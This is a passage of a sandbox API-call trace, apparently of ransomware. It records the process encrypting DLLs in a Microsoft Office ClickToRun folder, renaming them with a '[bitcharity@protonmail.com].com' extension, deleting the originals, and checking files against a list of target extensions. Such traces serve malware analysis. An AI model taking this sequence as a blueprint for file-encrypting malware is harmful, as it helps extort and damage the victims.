dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0288.328] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=11616) returned 1 [0288.328] CloseHandle (hObject=0x109c) returned 1 [0288.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0288.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0288.328] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.329] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0288.329] GetLastError () returned 0x0 [0288.329] ReadFile (in: hFile=0x109c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0288.624] WriteFile (in: hFile=0x10c0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0288.915] ReadFile (in: hFile=0x109c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.915] WriteFile (in: hFile=0x10c0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x116, lpOverlapped=0x0) returned 1 [0288.918] SetEndOfFile (hFile=0x10c0) returned 1 [0288.918] CloseHandle (hObject=0x10c0) returned 1 [0288.918] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.918] SetEndOfFile (hFile=0x109c) returned 1 [0288.919] CloseHandle (hObject=0x109c) returned 1 [0288.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.182] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0289.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.183] lstrlenW (lpString=".doc") returned 4 [0289.183] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.183] lstrlenW (lpString=".docx") returned 5 [0289.183] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.183] lstrlenW (lpString=".pdf") returned 4 [0289.183] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.183] lstrlenW (lpString=".xls") returned 4 [0289.183] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.183] lstrlenW (lpString=".xlsx") returned 5 [0289.183] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.183] lstrlenW (lpString=".ppt") returned 4 [0289.183] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.183] lstrlenW (lpString=".zip") returned 4 [0289.183] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.183] lstrlenW (lpString=".rar") returned 4 [0289.183] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.183] lstrlenW (lpString=".bz2") returned 4 [0289.183] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.183] lstrlenW (lpString=".7z") returned 3 [0289.183] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.184] lstrlenW (lpString=".dbf") returned 4 [0289.184] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.184] lstrlenW (lpString=".1cd") returned 4 [0289.184] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.184] lstrlenW (lpString=".jpg") returned 4 [0289.184] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.184] lstrlenW (lpString=".doc") returned 4 [0289.184] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.184] lstrlenW (lpString=".docx") returned 5 [0289.184] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.184] lstrlenW (lpString=".pdf") returned 4 [0289.184] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.184] lstrlenW (lpString=".xls") returned 4 [0289.184] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.184] lstrlenW (lpString=".xlsx") returned 5 [0289.184] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.184] lstrlenW (lpString=".ppt") returned 4 [0289.184] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.184] lstrlenW (lpString=".zip") returned 4 [0289.184] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.184] lstrlenW (lpString=".rar") returned 4 [0289.184] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.185] lstrlenW (lpString=".bz2") returned 4 [0289.185] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.185] lstrlenW (lpString=".7z") returned 3 [0289.185] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.185] lstrlenW (lpString=".dbf") returned 4 [0289.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.185] lstrlenW (lpString=".1cd") returned 4 [0289.185] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0289.185] lstrlenW (lpString=".jpg") returned 4 [0289.185] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.185] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.185] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0289.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.186] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=19648) returned 1 [0289.186] CloseHandle (hObject=0x10b8) returned 1 [0289.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0289.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.186] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.186] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0289.186] GetLastError () returned 0x0 [0289.186] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0289.188] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0289.190] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.190] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x116, lpOverlapped=0x0) returned 1 [0289.190] SetEndOfFile (hFile=0x10b0) returned 1 [0289.190] CloseHandle (hObject=0x10b0) returned 1 [0289.190] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.190] SetEndOfFile (hFile=0x10b8) returned 1 [0289.191] CloseHandle (hObject=0x10b8) returned 1 [0289.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.192] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0289.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.192] lstrlenW (lpString=".doc") returned 4 [0289.192] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.192] lstrlenW (lpString=".docx") returned 5 [0289.192] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.192] lstrlenW (lpString=".pdf") returned 4 [0289.192] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.192] lstrlenW (lpString=".xls") returned 4 [0289.192] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.192] lstrlenW (lpString=".xlsx") returned 5 [0289.192] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.192] lstrlenW (lpString=".ppt") returned 4 [0289.192] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.192] lstrlenW (lpString=".zip") returned 4 [0289.193] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.193] lstrlenW (lpString=".rar") returned 4 [0289.193] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.193] lstrlenW (lpString=".bz2") returned 4 [0289.193] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.193] lstrlenW (lpString=".7z") returned 3 [0289.193] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.193] lstrlenW (lpString=".dbf") returned 4 [0289.193] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.193] lstrlenW (lpString=".1cd") returned 4 [0289.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.193] lstrlenW (lpString=".jpg") returned 4 [0289.193] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.193] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.193] lstrlenW (lpString=".doc") returned 4 [0289.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.193] lstrlenW (lpString=".docx") returned 5 [0289.193] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.193] lstrlenW (lpString=".pdf") returned 4 [0289.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.193] lstrlenW (lpString=".xls") returned 4 [0289.193] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.193] lstrlenW (lpString=".xlsx") returned 5 [0289.193] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.193] lstrlenW (lpString=".ppt") returned 4 [0289.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.194] lstrlenW (lpString=".zip") returned 4 [0289.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.194] lstrlenW (lpString=".rar") returned 4 [0289.194] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.194] lstrlenW (lpString=".bz2") returned 4 [0289.194] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.194] lstrlenW (lpString=".7z") returned 3 [0289.194] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.194] lstrlenW (lpString=".dbf") returned 4 [0289.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.194] lstrlenW (lpString=".1cd") returned 4 [0289.194] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.194] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0289.194] lstrlenW (lpString=".jpg") returned 4 [0289.194] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.194] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.194] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0289.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.195] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=23232) returned 1 [0289.195] CloseHandle (hObject=0x10b8) returned 1 [0289.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0289.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0289.195] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.195] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0289.195] GetLastError () returned 0x0 [0289.195] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0289.197] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0289.198] ReadFile (in: hFile=0x10b8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.198] WriteFile (in: hFile=0x10b0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x116, lpOverlapped=0x0) returned 1 [0289.198] SetEndOfFile (hFile=0x10b0) returned 1 [0289.198] CloseHandle (hObject=0x10b0) returned 1 [0289.198] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.198] SetEndOfFile (hFile=0x10b8) returned 1 [0289.199] CloseHandle (hObject=0x10b8) returned 1 [0289.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.199] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0289.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.200] lstrlenW (lpString=".doc") returned 4 [0289.200] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.200] lstrlenW (lpString=".docx") returned 5 [0289.200] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.200] lstrlenW (lpString=".pdf") returned 4 [0289.200] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.200] lstrlenW (lpString=".xls") returned 4 [0289.200] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.200] lstrlenW (lpString=".xlsx") returned 5 [0289.200] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.200] lstrlenW (lpString=".ppt") returned 4 [0289.200] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.200] lstrlenW (lpString=".zip") returned 4 [0289.200] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.200] lstrlenW (lpString=".rar") returned 4 [0289.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.200] lstrlenW (lpString=".bz2") returned 4 [0289.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.200] lstrlenW (lpString=".7z") returned 3 [0289.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString=".dbf") returned 4 [0289.201] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString=".1cd") returned 4 [0289.201] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString=".jpg") returned 4 [0289.201] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString=".doc") returned 4 [0289.201] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.201] lstrlenW (lpString=".docx") returned 5 [0289.201] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.201] lstrlenW (lpString=".pdf") returned 4 [0289.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.201] lstrlenW (lpString=".xls") returned 4 [0289.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.201] lstrlenW (lpString=".xlsx") returned 5 [0289.201] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.201] lstrlenW (lpString=".ppt") returned 4 [0289.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString=".zip") returned 4 [0289.201] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.201] lstrlenW (lpString=".rar") returned 4 [0289.201] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.201] lstrlenW (lpString=".bz2") returned 4 [0289.201] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.201] lstrlenW (lpString=".7z") returned 3 [0289.201] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString=".dbf") returned 4 [0289.201] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0289.201] lstrlenW (lpString=".1cd") returned 4 [0289.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.202] lstrlenW (lpString="C:\\Program 